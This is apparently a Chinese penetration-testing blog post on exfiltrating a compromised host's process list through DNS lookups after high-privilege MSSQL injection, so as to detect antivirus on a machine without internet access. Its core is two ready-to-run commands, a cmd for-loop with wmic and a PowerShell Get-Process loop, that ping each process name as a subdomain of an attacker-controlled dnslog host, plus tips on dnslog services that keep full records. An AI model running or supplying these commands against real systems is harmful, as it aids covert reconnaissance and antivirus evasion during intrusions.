0x01 前言
2021年7月某天,团队@Twe1ve老哥遇到这样一个场景:MSSQL高权限注入,目标主机不出网,想利用dnslog探测这台主机中是否存在杀软?
当时想都没想,就回了句难搞!其实还是能实现的,最后和他一起测试出了两种方法。
0x02 利用cmdshell for循环实现
两种方法原理一样,都是先获取目标主机的进程,然后通过for、ForEach循环Ping dnslog外带出来。
for /F %i in ('wmic process get Name ^| findstr ".exe"') do ping -n 1 %i.******.dnslog.cn >nul
0x03 利用powershell foreach循环实现
以下命令是@Twe1ve老哥整出来的,加了个去重,但是在实际测试过程中发现好像并没有起到去重效果。最后别忘了删除一下1.txt文件!
powershell -c "Get-Process | select processname > 1.txt" powershell -c "Get-Content .\1.txt | Sort-Object -Unique | ForEach-Object {if($_ -match $regex){$b=$_.trim();ping -n 1 $b'.***fks2j.ns.dns3.cf.'} }"
注:dnslog.cn及其他大多数dnslog平台的前端仅能展示最近十条记录,想要获取完整记录可以使用ceye.io或dns.xn--9tr.com,用xn--9tr在获取记录时请打开F12看请求。